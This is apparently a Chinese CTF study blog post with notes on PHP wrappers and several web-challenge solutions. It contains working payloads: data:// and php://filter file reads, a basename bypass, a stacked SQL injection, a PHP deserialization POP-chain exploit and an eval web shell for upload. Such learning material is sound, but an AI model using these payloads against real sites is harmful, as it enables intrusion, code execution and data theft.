via (http协议) via 值为: 下面是一些Demo WTP/1.1 GDSZ-PS-GW010-WAP05.gd.chinamobile.com (Nokia WAP Gateway 4.0 CD3/ECD13_C/NWG4.0 CD3 ECD13_C 4.1.03)
下面是解释:
列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用 什么协议(和版本)发送的请求。 当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面 添加 Via 头部,并填上自己的相关信息,当下一个代理服务器 收到第一个代理 服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via 头部,并把自己的相关信息加到后面, 以此类推,当 OCS 收到最后一个代理服 务器的请求时,检查 Via 头部,就知道该请求所经过的路由。
例如:Via:1.0 236-81.D07071953.sina.com.cn:80 (squid/2.6.STABLE13)
data://text/plain (php伪协议) 此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,``` ```
配合file_get_contents使用
1 2 3 4 5 6 <?php $a = $_GET ['key' ]; if (file_get_contents ($a )=="abc" ){ echo $flag } ?>
则构造 /?key=data://text/plain,abc
利用php的内置类SplFileObject来读取文件内容(php反序列化 看例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } }
我们现在想用类中函数IPO()中的 new $_POST[‘a’]($_POST[‘b’])来读取flag.php中的内容,则利用原生类SplFileObject和php为协议来实现。则构造POST: a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
[Zer0pts2020]Can you guess it? 这道题主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php include 'config.php' ; if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); } if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }
想要用highlight_file()显示congfig.php的内容,但是需要绕过正则匹配”/config.php/*$/“,表示不能以config.php结尾。 接下来就是利用basename的漏洞: basename()函数会返回路径中的文件名部分,但是它会去掉文件名开头的非ASCII值! 就像下面:
文件开头的非ASCII值被忽略:
所以可以构造payload:
1 /index.php/config.php/%ff?source
[BJDCTF2020]ZJCTF,不过如此 前面是伪协议文件包含,读取到next.php文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
php中preg_replace()函数在e模式下将replacement当作php代码执行(preg_replace第二个参数)。
1 2 3 4 5 preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str );
下面介绍什么是反向引用?来看下面这段描述:
1 2 3 反向引用 对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
未完待续…
这个师傅写的比较好:https://www.cnblogs.com/sipc-love/p/14289984.html
[GYCTF2020]Blacklist 构造pyload: 1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
知识点: Handler的sql查询方法https://blog.csdn.net/qq_51927659/article/details/117233018
[ctfshow卷王杯easy unserialize] 这题就要利用到php GC(garbage collection)。 首先补充一个知识,在php中可以这样来调用一个类中的某个函数: 这题源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php include ("./HappyYear.php" );class one { public $object ; public function MeMeMe ( ) { array_walk ($this , function($fn , $prev ){ if ($fn [0 ] === "Happy_func" && $prev === "year_parm" ) { global $talk ; echo "$talk " ."</br>" ; global $flag ; echo $flag ; } }); } public function __destruct ( ) { @$this ->object ->add (); } public function __toString ( ) { return $this ->object ->string ; } } class second { protected $filename ; protected function addMe ( ) { return "Wow you have sovled" .$this ->filename; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } } class third { private $string ; public function __construct ($string ) { $this ->string = $string ; } public function __get ($name ) { $var = $this ->$name ; $var [$name ](); } } if (isset ($_GET ["ctfshow" ])) { $a =unserialize ($_GET ['ctfshow' ]); throw new Exception ("高一新生报道" ); } else { highlight_file (__FILE__ ); }
pop链构造思路: one类中的析构函数->second的__call函数->拼接调用second的addMe()函数->third中的__get函数->one类中的MeMeMe函数。
然后为了绕过异常抛出throw new Exception();需要用到GC。 exp:
1 2 3 4 5 6 7 8 9 $a = new one ();$a ->object = new second ();$a ->object ->filename = new one ();$c = new one ();$c ->year_parm = array ("Happy_func" );$a ->object ->filename->object = new third (array ("string" =>[$c ,"MeMeMe" ]));$m = array ($a ,0 );echo urlencode (serialize ($m ));
其中$m = array($a,0); 这条语句中的0可以换成NULL(1好像也行,但是2就不行,至于为什么先放这)
[极客大挑战 2019]Upload 这题文件后缀名用phtml绕过(phtml文件会默认当作php文件执行)。同时检查文件内容,不允许出现 “ < ? “。还检查了文件头。所以可以上传一个图片后面加上进行绕过。
1 2 3 <script language="php" > @eval ($_POST ["pass" ]); </script>
题目还没有给出上传成功的文件的具体路径, 其实是/upload/文件名